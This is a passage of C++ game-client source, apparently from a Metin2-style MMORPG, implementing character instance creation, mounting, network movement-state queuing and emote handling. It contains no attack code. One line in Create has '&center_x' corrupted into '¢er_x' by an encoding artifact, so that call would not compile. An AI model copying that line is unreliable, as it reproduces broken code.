rkChrMgr.SetMainInstance(dwVID);
m_GraphicThingInstance.SetMainInstance();
}
CInstanceBase* CInstanceBase::__GetMainInstancePtr()
{
CPythonCharacterManager& rkChrMgr=CPythonCharacterManager::Instance();
return rkChrMgr.GetMainInstancePtr();
}
void CInstanceBase::__ClearMainInstance()
{
CPythonCharacterManager& rkChrMgr=CPythonCharacterManager::Instance();
rkChrMgr.ClearMainInstance();
}
bool CInstanceBase::__IsMainInstance()
{
if (this==__GetMainInstancePtr())
return true;
return false;
}
bool CInstanceBase::__IsExistMainInstance()
{
if(__GetMainInstancePtr())
return true;
else
return false;
}
bool CInstanceBase::__MainCanSeeHiddenThing()
{
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
CInstanceBase * pInstance = __GetMainInstancePtr();
return (pInstance) ? TRUE == pInstance->IsGameMaster() : false;
#else
return false;
#endif
}
float CInstanceBase::__GetBowRange()
{
float fRange = 2500.0f - 100.0f;
if (__IsMainInstance())
{
IAbstractPlayer& rPlayer=IAbstractPlayer::GetSingleton();
fRange += float(rPlayer.GetStatus(POINT_BOW_DISTANCE));
}
return fRange;
}
CInstanceBase* CInstanceBase::__FindInstancePtr(DWORD dwVID)
{
CPythonCharacterManager& rkChrMgr=CPythonCharacterManager::Instance();
return rkChrMgr.GetInstancePtr(dwVID);
}
bool CInstanceBase::__FindRaceType(DWORD dwRace, BYTE* pbType)
{
CPythonNonPlayer& rkNonPlayer=CPythonNonPlayer::Instance();
return rkNonPlayer.GetInstanceType(dwRace, pbType);
}
bool CInstanceBase::Create(const SCreateData& c_rkCreateData)
{
IAbstractApplication::GetSingleton().SkipRenderBuffering(300);
SetInstanceType(c_rkCreateData.m_bType);
if (!SetRace(c_rkCreateData.m_dwRace))
return false;
SetVirtualID(c_rkCreateData.m_dwVID);
if (c_rkCreateData.m_isMain)
SetMainInstance();
if (IsGuildWall())
{
unsigned center_x;
unsigned center_y;
c_rkCreateData.m_kAffectFlags.ConvertToPosition(¢er_x, ¢er_y);
float center_z = __GetBackgroundHeight(center_x, center_y);
NEW_SetPixelPosition(TPixelPosition(float(c_rkCreateData.m_lPosX), float(c_rkCreateData.m_lPosY), center_z));
}
else
{
SCRIPT_SetPixelPosition(float(c_rkCreateData.m_lPosX), float(c_rkCreateData.m_lPosY));
}
if (0 != c_rkCreateData.m_dwMountVnum)
MountHorse(c_rkCreateData.m_dwMountVnum);
SetArmor(c_rkCreateData.m_dwArmor);
if (IsPC())
{
SetHair(c_rkCreateData.m_dwHair);
SetWeapon(c_rkCreateData.m_dwWeapon);
#ifdef ENABLE_ACCE_SYSTEM
SetAcce(c_rkCreateData.m_dwAcce);
#endif
#ifdef ENABLE_AURA_SYSTEM
SetAura(c_rkCreateData.m_dwAura);
#endif
}
__Create_SetName(c_rkCreateData);
#if defined(WJ_SHOW_MOB_INFO) && defined(ENABLE_SHOW_MOBLEVEL)
if (IsEnemy() && CPythonSystem::Instance().IsShowMobLevel())
m_dwLevel = CPythonNonPlayer::Instance().GetMonsterLevel(GetRace());
else
m_dwLevel = c_rkCreateData.m_dwLevel;
#else
m_dwLevel = c_rkCreateData.m_dwLevel;
#endif
m_dwGuildID = c_rkCreateData.m_dwGuildID;
m_dwEmpireID = c_rkCreateData.m_dwEmpireID;
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
m_bGuildLeaderGrade = c_rkCreateData.m_bGuildLeaderGrade;
#endif
SetVirtualNumber(c_rkCreateData.m_dwRace);
SetRotation(c_rkCreateData.m_fRot);
SetAlignment(c_rkCreateData.m_sAlignment);
SetPKMode(c_rkCreateData.m_byPKMode);
SetMoveSpeed(c_rkCreateData.m_dwMovSpd);
SetAttackSpeed(c_rkCreateData.m_dwAtkSpd);
if (!IsWearingDress())
{
m_GraphicThingInstance.SetAlphaValue(0.0f);
m_GraphicThingInstance.BlendAlphaValue(1.0f, 0.5f);
}
if (!IsGuildWall())
{
SetAffectFlagContainer(c_rkCreateData.m_kAffectFlags);
}
AttachTextTail();
RefreshTextTail();
if (c_rkCreateData.m_dwStateFlags & ADD_CHARACTER_STATE_SPAWN)
{
if (IsAffect(AFFECT_SPAWN))
__AttachEffect(EFFECT_SPAWN_APPEAR);
if (IsPC())
{
Refresh(CRaceMotionData::NAME_WAIT, true);
}
else
{
Refresh(CRaceMotionData::NAME_SPAWN, false);
}
}
else
{
Refresh(CRaceMotionData::NAME_WAIT, true);
}
__AttachEmpireEffect(c_rkCreateData.m_dwEmpireID);
RegisterBoundingSphere();
if (c_rkCreateData.m_dwStateFlags & ADD_CHARACTER_STATE_DEAD)
m_GraphicThingInstance.DieEnd();
SetStateFlags(c_rkCreateData.m_dwStateFlags);
m_GraphicThingInstance.SetBattleHitEffect(ms_adwCRCAffectEffect[EFFECT_HIT]);
if (!IsPC())
{
DWORD dwBodyColor = CPythonNonPlayer::Instance().GetMonsterColor(c_rkCreateData.m_dwRace);
if (0 != dwBodyColor)
{
SetModulateRenderMode();
SetAddColor(dwBodyColor);
}
}
__AttachHorseSaddle();
const int c_iGuildSymbolRace = 14200;
if (c_iGuildSymbolRace == GetRace())
{
std::string strFileName = GetGuildSymbolFileName(m_dwGuildID);
if (IsFile(strFileName.c_str()))
m_GraphicThingInstance.ChangeMaterial(strFileName.c_str());
}
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_INVISIBILITY) && __MainCanSeeHiddenThing())
m_GraphicThingInstance.BlendAlphaValue(0.5f, 0.5f);
#endif
return true;
}
void CInstanceBase::__Create_SetName(const SCreateData& c_rkCreateData)
{
if (IsGoto())
{
SetNameString("", 0);
return;
}
if (IsWarp())
{
__Create_SetWarpName(c_rkCreateData);
return;
}
#if defined(WJ_SHOW_MOB_INFO) && defined(ENABLE_SHOW_MOBAIFLAG)
if (IsEnemy() && CPythonSystem::Instance().IsShowMobAIFlag() && CPythonNonPlayer::Instance().IsAggressive(GetRace()))
{
std::string strName = c_rkCreateData.m_stName;
strName += "*";
SetNameString(strName.c_str(), strName.length());
}
else
SetNameString(c_rkCreateData.m_stName.c_str(), c_rkCreateData.m_stName.length());
#else
SetNameString(c_rkCreateData.m_stName.c_str(), c_rkCreateData.m_stName.length());
#endif
}
void CInstanceBase::__Create_SetWarpName(const SCreateData& c_rkCreateData)
{
const char * c_szName;
if (CPythonNonPlayer::Instance().GetName(c_rkCreateData.m_dwRace, &c_szName))
{
std::string strName = c_szName;
int iFindingPos = strName.find_first_of(" ", 0);
if (iFindingPos > 0)
{
strName.resize(iFindingPos);
}
SetNameString(strName.c_str(), strName.length());
}
else
{
SetNameString(c_rkCreateData.m_stName.c_str(), c_rkCreateData.m_stName.length());
}
}
void CInstanceBase::SetNameString(const char* c_szName, int len)
{
m_stName.assign(c_szName, len);
}
bool CInstanceBase::SetRace(DWORD eRace)
{
m_dwRace = eRace;
if (!m_GraphicThingInstance.SetRace(eRace))
return false;
if (!__FindRaceType(m_dwRace, &m_eRaceType))
m_eRaceType=CActorInstance::TYPE_PC;
return true;
}
BOOL CInstanceBase::__IsChangableWeapon(int iWeaponID)
{
if (IsWearingDress())
{
const int c_iBouquets[] =
{
50201, // Bouquet for Assassin
50202, // Bouquet for Shaman
50203,
50204,
0,
};
for (int i = 0; c_iBouquets[i] != 0; ++i)
if (iWeaponID == c_iBouquets[i])
return true;
return false;
}
else
return true;
}
BOOL CInstanceBase::IsWearingDress()
{
const int c_iWeddingDressShape = 201;
return c_iWeddingDressShape == m_eShape;
}
BOOL CInstanceBase::IsHoldingPickAxe()
{
const int c_iPickAxeStart = 29101;
const int c_iPickAxeEnd = 29110;
return m_awPart[CRaceData::PART_WEAPON] >= c_iPickAxeStart && m_awPart[CRaceData::PART_WEAPON] <= c_iPickAxeEnd;
}
BOOL CInstanceBase::IsNewMount()
{
return m_kHorse.IsNewMount();
}
BOOL CInstanceBase::IsMountingHorse()
{
return m_kHorse.IsMounting();
}
void CInstanceBase::MountHorse(UINT eRace)
{
m_kHorse.Destroy();
m_kHorse.Create(m_GraphicThingInstance.NEW_GetCurPixelPositionRef(), eRace, ms_adwCRCAffectEffect[EFFECT_HIT]);
SetMotionMode(CRaceMotionData::MODE_HORSE);
SetRotationSpeed(c_fDefaultHorseRotationSpeed);
m_GraphicThingInstance.MountHorse(m_kHorse.GetActorPtr());
m_GraphicThingInstance.Stop();
m_GraphicThingInstance.RefreshActorInstance();
}
void CInstanceBase::DismountHorse()
{
m_kHorse.Destroy();
}
void CInstanceBase::GetInfo(std::string* pstInfo)
{
char szInfo[256];
sprintf(szInfo, "Inst - UC %d, RC %d Pool - %d ",
ms_dwUpdateCounter,
ms_dwRenderCounter,
ms_kPool.GetCapacity()
);
pstInfo->append(szInfo);
}
void CInstanceBase::ResetPerformanceCounter()
{
ms_dwUpdateCounter=0;
ms_dwRenderCounter=0;
ms_dwDeformCounter=0;
}
bool CInstanceBase::NEW_IsLastPixelPosition()
{
return m_GraphicThingInstance.IsPushing();
}
const TPixelPosition& CInstanceBase::NEW_GetLastPixelPositionRef()
{
return m_GraphicThingInstance.NEW_GetLastPixelPositionRef();
}
void CInstanceBase::NEW_SetDstPixelPositionZ(FLOAT z)
{
m_GraphicThingInstance.NEW_SetDstPixelPositionZ(z);
}
void CInstanceBase::NEW_SetDstPixelPosition(const TPixelPosition& c_rkPPosDst)
{
m_GraphicThingInstance.NEW_SetDstPixelPosition(c_rkPPosDst);
}
void CInstanceBase::NEW_SetSrcPixelPosition(const TPixelPosition& c_rkPPosSrc)
{
m_GraphicThingInstance.NEW_SetSrcPixelPosition(c_rkPPosSrc);
}
const TPixelPosition& CInstanceBase::NEW_GetCurPixelPositionRef()
{
return m_GraphicThingInstance.NEW_GetCurPixelPositionRef();
}
const TPixelPosition& CInstanceBase::NEW_GetDstPixelPositionRef()
{
return m_GraphicThingInstance.NEW_GetDstPixelPositionRef();
}
const TPixelPosition& CInstanceBase::NEW_GetSrcPixelPositionRef()
{
return m_GraphicThingInstance.NEW_GetSrcPixelPositionRef();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
void CInstanceBase::OnSyncing()
{
m_GraphicThingInstance.__OnSyncing();
}
void CInstanceBase::OnWaiting()
{
m_GraphicThingInstance.__OnWaiting();
}
void CInstanceBase::OnMoving()
{
m_GraphicThingInstance.__OnMoving();
}
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
void CInstanceBase::ChangeGuild(DWORD dwGuildID, BYTE bGuildLeaderGrade)
#else
void CInstanceBase::ChangeGuild(DWORD dwGuildID)
#endif
{
m_dwGuildID=dwGuildID;
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
m_bGuildLeaderGrade = bGuildLeaderGrade;
#endif
DetachTextTail();
AttachTextTail();
RefreshTextTail();
}
DWORD CInstanceBase::GetPart(CRaceData::EParts part)
{
assert(part >= 0 && part < CRaceData::PART_MAX_NUM);
return m_awPart[part];
}
DWORD CInstanceBase::GetShape()
{
return m_eShape;
}
bool CInstanceBase::CanAct()
{
return m_GraphicThingInstance.CanAct();
}
bool CInstanceBase::CanMove()
{
return m_GraphicThingInstance.CanMove();
}
bool CInstanceBase::CanUseSkill()
{
if (IsPoly())
return false;
if (IsWearingDress())
return false;
if (IsHoldingPickAxe())
return false;
if (!m_kHorse.CanUseSkill())
return false;
if (!m_GraphicThingInstance.CanUseSkill())
return false;
return true;
}
bool CInstanceBase::CanAttack()
{
if (!m_kHorse.CanAttack())
return false;
if (IsWearingDress())
return false;
if (IsHoldingPickAxe())
return false;
return m_GraphicThingInstance.CanAttack();
}
bool CInstanceBase::CanFishing()
{
return m_GraphicThingInstance.CanFishing();
}
BOOL CInstanceBase::IsBowMode()
{
return m_GraphicThingInstance.IsBowMode();
}
BOOL CInstanceBase::IsHandMode()
{
return m_GraphicThingInstance.IsHandMode();
}
BOOL CInstanceBase::IsFishingMode()
{
if (CRaceMotionData::MODE_FISHING == m_GraphicThingInstance.GetMotionMode())
return true;
return false;
}
BOOL CInstanceBase::IsFishing()
{
return m_GraphicThingInstance.IsFishing();
}
BOOL CInstanceBase::IsDead()
{
return m_GraphicThingInstance.IsDead();
}
BOOL CInstanceBase::IsStun()
{
return m_GraphicThingInstance.IsStun();
}
BOOL CInstanceBase::IsSleep()
{
return m_GraphicThingInstance.IsSleep();
}
BOOL CInstanceBase::__IsSyncing()
{
return m_GraphicThingInstance.__IsSyncing();
}
void CInstanceBase::NEW_SetOwner(DWORD dwVIDOwner)
{
m_GraphicThingInstance.SetOwner(dwVIDOwner);
}
float CInstanceBase::GetLocalTime()
{
return m_GraphicThingInstance.GetLocalTime();
}
void CInstanceBase::PushUDPState(DWORD dwCmdTime, const TPixelPosition& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg)
{
}
DWORD ELTimer_GetServerFrameMSec();
void CInstanceBase::PushTCPStateExpanded(DWORD dwCmdTime, const TPixelPosition& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg, UINT uTargetVID)
{
SCommand kCmdNew;
kCmdNew.m_kPPosDst = c_rkPPosDst;
kCmdNew.m_dwChkTime = dwCmdTime+100;
kCmdNew.m_dwCmdTime = dwCmdTime;
kCmdNew.m_fDstRot = fDstRot;
kCmdNew.m_eFunc = eFunc;
kCmdNew.m_uArg = uArg;
kCmdNew.m_uTargetVID = uTargetVID;
m_kQue_kCmdNew.push_back(kCmdNew);
}
void CInstanceBase::PushTCPState(DWORD dwCmdTime, const TPixelPosition& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg)
{
if (__IsMainInstance())
{
TraceError("CInstanceBase::PushTCPState You can't send move packets to yourself!");
return;
}
int nNetworkGap=ELTimer_GetServerFrameMSec()-dwCmdTime;
m_nAverageNetworkGap=(m_nAverageNetworkGap*70+nNetworkGap*30)/100;
//m_dwBaseChkTime-m_dwBaseCmdTime+ELTimer_GetServerMSec();
SCommand kCmdNew;
kCmdNew.m_kPPosDst = c_rkPPosDst;
kCmdNew.m_dwChkTime = dwCmdTime+m_nAverageNetworkGap;//m_dwBaseChkTime + (dwCmdTime - m_dwBaseCmdTime);// + nNetworkGap;
kCmdNew.m_dwCmdTime = dwCmdTime;
kCmdNew.m_fDstRot = fDstRot;
kCmdNew.m_eFunc = eFunc;
kCmdNew.m_uArg = uArg;
m_kQue_kCmdNew.push_back(kCmdNew);
//int nApplyGap=kCmdNew.m_dwChkTime-ELTimer_GetServerFrameMSec();
//if (nApplyGap<-500 || nApplyGap>500)
}
/*
CInstanceBase::TStateQueue::iterator CInstanceBase::FindSameState(TStateQueue& rkQuekStt, DWORD dwCmdTime, UINT eFunc, UINT uArg)
{
TStateQueue::iterator i=rkQuekStt.begin();
while (rkQuekStt.end()!=i)
{
SState& rkSttEach=*i;
if (rkSttEach.m_dwCmdTime==dwCmdTime)
if (rkSttEach.m_eFunc==eFunc)
if (rkSttEach.m_uArg==uArg)
break;
++i;
}
return i;
}
*/
BOOL CInstanceBase::__CanProcessNetworkStatePacket()
{
if (m_GraphicThingInstance.IsDead())
return FALSE;
if (m_GraphicThingInstance.IsKnockDown())
return FALSE;
if (m_GraphicThingInstance.IsUsingSkill())
if (!m_GraphicThingInstance.CanCancelSkill())
return FALSE;
return TRUE;
}
BOOL CInstanceBase::__IsEnableTCPProcess(UINT eCurFunc)
{
if (m_GraphicThingInstance.IsActEmotion())
{
return FALSE;
}
if (!m_bEnableTCPState)
{
if (FUNC_EMOTION != eCurFunc)
{
return FALSE;
}
}
return TRUE;
}
void CInstanceBase::StateProcess()
{
while (1)
{
if (m_kQue_kCmdNew.empty())
return;
DWORD dwDstChkTime = m_kQue_kCmdNew.front().m_dwChkTime;
DWORD dwCurChkTime = ELTimer_GetServerFrameMSec();
if (dwCurChkTime < dwDstChkTime)
return;
SCommand kCmdTop = m_kQue_kCmdNew.front();
m_kQue_kCmdNew.pop_front();
TPixelPosition kPPosDst = kCmdTop.m_kPPosDst;
//DWORD dwCmdTime = kCmdTop.m_dwCmdTime;
FLOAT fRotDst = kCmdTop.m_fDstRot;
UINT eFunc = kCmdTop.m_eFunc;
UINT uArg = kCmdTop.m_uArg;
UINT uVID = GetVirtualID();
UINT uTargetVID = kCmdTop.m_uTargetVID;
TPixelPosition kPPosCur;
NEW_GetPixelPosition(&kPPosCur);
/*
if (IsPC())
Tracenf("%d cmd: vid=%d[%s] func=%d arg=%d curPos=(%f, %f) dstPos=(%f, %f) rot=%f (time %d)",
ELTimer_GetMSec(),
uVID, m_stName.c_str(), eFunc, uArg,
kPPosCur.x, kPPosCur.y,
kPPosDst.x, kPPosDst.y, fRotDst, dwCmdTime-m_dwBaseCmdTime);
*/
TPixelPosition kPPosDir = kPPosDst - kPPosCur;
float fDirLen = (float)sqrt(kPPosDir.x * kPPosDir.x + kPPosDir.y * kPPosDir.y);
if (!__CanProcessNetworkStatePacket())
{
Lognf(0, "vid=%d Skip State as unable to process IsDead=%d, IsKnockDown=%d", uVID, m_GraphicThingInstance.IsDead(), m_GraphicThingInstance.IsKnockDown());
return;
}
if (!__IsEnableTCPProcess(eFunc))
{
return;
}
switch (eFunc)
{
case FUNC_WAIT:
{
if (fDirLen > 1.0f)
{
//NEW_GetSrcPixelPositionRef() = kPPosCur;
//NEW_GetDstPixelPositionRef() = kPPosDst;
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
__EnableSkipCollision();
m_fDstRot = fRotDst;
m_isGoing = TRUE;
m_kMovAfterFunc.eFunc = FUNC_WAIT;
if (!IsWalking())
StartWalking();
}
else
{
m_isGoing = FALSE;
if (!IsWaiting())
EndWalking();
SCRIPT_SetPixelPosition(kPPosDst.x, kPPosDst.y);
SetAdvancingRotation(fRotDst);
SetRotation(fRotDst);
}
break;
}
case FUNC_MOVE:
{
//NEW_GetSrcPixelPositionRef() = kPPosCur;
//NEW_GetDstPixelPositionRef() = kPPosDst;
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot = fRotDst;
m_isGoing = TRUE;
__EnableSkipCollision();
//m_isSyncMov = TRUE;
m_kMovAfterFunc.eFunc = FUNC_MOVE;
if (!IsWalking())
{
StartWalking();
}
else
{
}
break;
}
case FUNC_COMBO:
{
if (fDirLen >= 50.0f)
{
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot=fRotDst;
m_isGoing = TRUE;
__EnableSkipCollision();
m_kMovAfterFunc.eFunc = FUNC_COMBO;
m_kMovAfterFunc.uArg = uArg;
if (!IsWalking())
StartWalking();
}
else
{
m_isGoing = FALSE;
if (IsWalking())
EndWalking();
SCRIPT_SetPixelPosition(kPPosDst.x, kPPosDst.y);
RunComboAttack(fRotDst, uArg);
}
break;
}
case FUNC_ATTACK:
{
if (fDirLen>=50.0f)
{
//NEW_GetSrcPixelPositionRef() = kPPosCur;
//NEW_GetDstPixelPositionRef() = kPPosDst;
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot = fRotDst;
m_isGoing = TRUE;
__EnableSkipCollision();
//m_isSyncMov = TRUE;
m_kMovAfterFunc.eFunc = FUNC_ATTACK;
if (!IsWalking())
StartWalking();
}
else
{
m_isGoing = FALSE;
if (IsWalking())
EndWalking();
SCRIPT_SetPixelPosition(kPPosDst.x, kPPosDst.y);
BlendRotation(fRotDst);
RunNormalAttack(fRotDst);
}
break;
}
case FUNC_MOB_SKILL:
{
if (fDirLen >= 50.0f)
{
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot = fRotDst;
m_isGoing = TRUE;
__EnableSkipCollision();
m_kMovAfterFunc.eFunc = FUNC_MOB_SKILL;
m_kMovAfterFunc.uArg = uArg;
if (!IsWalking())
StartWalking();
}
else
{
m_isGoing = FALSE;
if (IsWalking())
EndWalking();
SCRIPT_SetPixelPosition(kPPosDst.x, kPPosDst.y);
BlendRotation(fRotDst);
m_GraphicThingInstance.InterceptOnceMotion(CRaceMotionData::NAME_SPECIAL_1 + uArg);
}
break;
}
case FUNC_EMOTION:
{
if (fDirLen>100.0f)
{
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot = fRotDst;
m_isGoing = TRUE;
if (__IsMainInstance())
__EnableSkipCollision();
m_kMovAfterFunc.eFunc = FUNC_EMOTION;
m_kMovAfterFunc.uArg = uArg;
m_kMovAfterFunc.uArgExpanded = uTargetVID;
m_kMovAfterFunc.kPosDst = kPPosDst;
if (!IsWalking())
StartWalking();
}
else
{
__ProcessFunctionEmotion(uArg, uTargetVID, kPPosDst);
}
break;
}
default:
{
if (eFunc & FUNC_SKILL)
{
if (fDirLen >= 50.0f)
{
//NEW_GetSrcPixelPositionRef() = kPPosCur;
//NEW_GetDstPixelPositionRef() = kPPosDst;
NEW_SetSrcPixelPosition(kPPosCur);
NEW_SetDstPixelPosition(kPPosDst);
m_fDstRot = fRotDst;
m_isGoing = TRUE;
//m_isSyncMov = TRUE;
__EnableSkipCollision();
m_kMovAfterFunc.eFunc = eFunc;
m_kMovAfterFunc.uArg = uArg;
if (!IsWalking())
StartWalking();
}
else
{
m_isGoing = FALSE;
if (IsWalking())
EndWalking();
SCRIPT_SetPixelPosition(kPPosDst.x, kPPosDst.y);
SetAdvancingRotation(fRotDst);
SetRotation(fRotDst);
NEW_UseSkill(0, eFunc & 0x7f, uArg&0x0f, (uArg>>4) ? true : false);
}
}
break;
}
}
}
}
void CInstanceBase::MovementProcess()
{
TPixelPosition kPPosCur;
NEW_GetPixelPosition(&kPPosCur);
TPixelPosition kPPosNext;
{
const D3DXVECTOR3 & c_rkV3Mov = m_GraphicThingInstance.GetMovementVectorRef();
kPPosNext.x = kPPosCur.x + (+c_rkV3Mov.x);
kPPosNext.y = kPPosCur.y + (-c_rkV3Mov.y);
kPPosNext.z = kPPosCur.z + (+c_rkV3Mov.z);
}
TPixelPosition kPPosDeltaSC = kPPosCur - NEW_GetSrcPixelPositionRef();
TPixelPosition kPPosDeltaSN = kPPosNext - NEW_GetSrcPixelPositionRef();
TPixelPosition kPPosDeltaSD = NEW_GetDstPixelPositionRef() - NEW_GetSrcPixelPositionRef();
float fCurLen = sqrtf(kPPosDeltaSC.x * kPPosDeltaSC.x + kPPosDeltaSC.y * kPPosDeltaSC.y);
float fNextLen = sqrtf(kPPosDeltaSN.x * kPPosDeltaSN.x + kPPosDeltaSN.y * kPPosDeltaSN.y);
float fTotalLen = sqrtf(kPPosDeltaSD.x * kPPosDeltaSD.x + kPPosDeltaSD.y * kPPosDeltaSD.y);
float fRestLen = fTotalLen - fCurLen;
if (__IsMainInstance())
{
if (m_isGoing && IsWalking())
{
float fDstRot = NEW_GetAdvancingRotationFromPixelPosition(NEW_GetSrcPixelPositionRef(), NEW_GetDstPixelPositionRef());
SetAdvancingRotation(fDstRot);
if (fRestLen<=0.0)
{
if (IsWalking())
EndWalking();
m_isGoing = FALSE;
BlockMovement();
if (FUNC_EMOTION == m_kMovAfterFunc.eFunc)
{
DWORD dwMotionNumber = m_kMovAfterFunc.uArg;
DWORD dwTargetVID = m_kMovAfterFunc.uArgExpanded;
__ProcessFunctionEmotion(dwMotionNumber, dwTargetVID, m_kMovAfterFunc.kPosDst);
m_kMovAfterFunc.eFunc = FUNC_WAIT;
return;
}
}
}
}
else
{
if (m_isGoing && IsWalking())
{
float fDstRot = NEW_GetAdvancingRotationFromPixelPosition(NEW_GetSrcPixelPositionRef(), NEW_GetDstPixelPositionRef());
SetAdvancingRotation(fDstRot);
if (fRestLen < -100.0f)
{
NEW_SetSrcPixelPosition(kPPosCur);
float fDstRot = NEW_GetAdvancingRotationFromPixelPosition(kPPosCur, NEW_GetDstPixelPositionRef());
SetAdvancingRotation(fDstRot);
if (FUNC_MOVE == m_kMovAfterFunc.eFunc)
{
m_kMovAfterFunc.eFunc = FUNC_WAIT;
}
}
else if (fCurLen <= fTotalLen && fTotalLen <= fNextLen)
{
if (m_GraphicThingInstance.IsDead() || m_GraphicThingInstance.IsKnockDown())
{
__DisableSkipCollision();
m_isGoing = FALSE;
}
else
{
switch (m_kMovAfterFunc.eFunc)
{
case FUNC_ATTACK:
{
if (IsWalking())
EndWalking();
__DisableSkipCollision();
m_isGoing = FALSE;
BlockMovement();
SCRIPT_SetPixelPosition(NEW_GetDstPixelPositionRef().x, NEW_GetDstPixelPositionRef().y);
SetAdvancingRotation(m_fDstRot);
SetRotation(m_fDstRot);
RunNormalAttack(m_fDstRot);
break;
}
case FUNC_COMBO:
{
if (IsWalking())
EndWalking();
__DisableSkipCollision();
m_isGoing = FALSE;
BlockMovement();
SCRIPT_SetPixelPosition(NEW_GetDstPixelPositionRef().x, NEW_GetDstPixelPositionRef().y);
RunComboAttack(m_fDstRot, m_kMovAfterFunc.uArg);
break;
}
case FUNC_EMOTION:
{
m_isGoing = FALSE;
m_kMovAfterFunc.eFunc = FUNC_WAIT;
__DisableSkipCollision();
BlockMovement();
DWORD dwMotionNumber = m_kMovAfterFunc.uArg;
DWORD dwTargetVID = m_kMovAfterFunc.uArgExpanded;
__ProcessFunctionEmotion(dwMotionNumber, dwTargetVID, m_kMovAfterFunc.kPosDst);
break;
}
case FUNC_MOVE:
{
break;
}
case FUNC_MOB_SKILL:
{
if (IsWalking())
EndWalking();
__DisableSkipCollision();
m_isGoing = FALSE;
BlockMovement();
SCRIPT_SetPixelPosition(NEW_GetDstPixelPositionRef().x, NEW_GetDstPixelPositionRef().y);
SetAdvancingRotation(m_fDstRot);
SetRotation(m_fDstRot);
m_GraphicThingInstance.InterceptOnceMotion(CRaceMotionData::NAME_SPECIAL_1 + m_kMovAfterFunc.uArg);
break;
}
default:
{
if (m_kMovAfterFunc.eFunc & FUNC_SKILL)
{
SetAdvancingRotation(m_fDstRot);
BlendRotation(m_fDstRot);
NEW_UseSkill(0, m_kMovAfterFunc.eFunc & 0x7f, m_kMovAfterFunc.uArg&0x0f, (m_kMovAfterFunc.uArg>>4) ? true : false);
}
else
{
__DisableSkipCollision();
m_isGoing = FALSE;
BlockMovement();
SCRIPT_SetPixelPosition(NEW_GetDstPixelPositionRef().x, NEW_GetDstPixelPositionRef().y);
SetAdvancingRotation(m_fDstRot);
BlendRotation(m_fDstRot);
if (!IsWaiting())
{
EndWalking();
}
}
break;
}
}
}
}
}
}
if (IsWalking() || m_GraphicThingInstance.IsUsingMovingSkill())
{
float fRotation = m_GraphicThingInstance.GetRotation();
float fAdvancingRotation = m_GraphicThingInstance.GetAdvancingRotation();
int iDirection = GetRotatingDirection(fRotation, fAdvancingRotation);
if (DEGREE_DIRECTION_SAME != m_iRotatingDirection)
{
if (DEGREE_DIRECTION_LEFT == iDirection)
{
fRotation = fmodf(fRotation + m_fRotSpd*m_GraphicThingInstance.GetSecondElapsed(), 360.0f);
}
else if (DEGREE_DIRECTION_RIGHT == iDirection)
{
fRotation = fmodf(fRotation - m_fRotSpd*m_GraphicThingInstance.GetSecondElapsed() + 360.0f, 360.0f);
}
if (m_iRotatingDirection != GetRotatingDirection(fRotation, fAdvancingRotation))
{
m_iRotatingDirection = DEGREE_DIRECTION_SAME;
fRotation = fAdvancingRotation;
}
m_GraphicThingInstance.SetRotation(fRotation);
}
if (__IsInDustRange())
{
float fDustDistance = NEW_GetDistanceFromDestPixelPosition(m_kPPosDust);
if (IsMountingHorse())
{
if (fDustDistance > ms_fHorseDustGap)
{
NEW_GetPixelPosition(&m_kPPosDust);
__AttachEffect(EFFECT_HORSE_DUST);
}
}
else
{
if (fDustDistance > ms_fDustGap)
{
NEW_GetPixelPosition(&m_kPPosDust);
__AttachEffect(EFFECT_DUST);
}
}
}
}
}
void CInstanceBase::__ProcessFunctionEmotion(DWORD dwMotionNumber, DWORD dwTargetVID, const TPixelPosition & c_rkPosDst)
{
if (IsWalking())
EndWalkingWithoutBlending();
__EnableChangingTCPState();
SCRIPT_SetPixelPosition(c_rkPosDst.x, c_rkPosDst.y);
CInstanceBase * pTargetInstance = CPythonCharacterManager::Instance().GetInstancePtr(dwTargetVID);
if (pTargetInstance)
{
pTargetInstance->__EnableChangingTCPState();
if (pTargetInstance->IsWalking())
pTargetInstance->EndWalkingWithoutBlending();
WORD wMotionNumber1 = HIWORD(dwMotionNumber);
WORD wMotionNumber2 = LOWORD(dwMotionNumber);
int src_job = RaceToJob(GetRace());
int dst_job = RaceToJob(pTargetInstance->GetRace());
NEW_LookAtDestInstance(*pTargetInstance);
m_GraphicThingInstance.InterceptOnceMotion(wMotionNumber1 + dst_job);
m_GraphicThingInstance.SetRotation(m_GraphicThingInstance.GetTargetRotation());
m_GraphicThingInstance.SetAdvancingRotation(m_GraphicThingInstance.GetTargetRotation());
pTargetInstance->NEW_LookAtDestInstance(*this);
pTargetInstance->m_GraphicThingInstance.InterceptOnceMotion(wMotionNumber2 + src_job);
pTargetInstance->m_GraphicThingInstance.SetRotation(pTargetInstance->m_GraphicThingInstance.GetTargetRotation());
pTargetInstance->m_GraphicThingInstance.SetAdvancingRotation(pTargetInstance->m_GraphicThingInstance.GetTargetRotation());
if (pTargetInstance->__IsMainInstance())
{
IAbstractPlayer & rPlayer=IAbstractPlayer::GetSingleton();
rPlayer.EndEmotionProcess();
}
}
if (__IsMainInstance())
{
IAbstractPlayer & rPlayer=IAbstractPlayer::GetSingleton();
rPlayer.EndEmotionProcess();
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Update & Deform & Render
int g_iAccumulationTime = 0;
void CInstanceBase::Update()
{
++ms_dwUpdateCounter;
StateProcess();
m_GraphicThingInstance.PhysicsProcess();
m_GraphicThingInstance.RotationProcess();
m_GraphicThingInstance.ComboProcess();
m_GraphicThingInstance.AccumulationMovement();
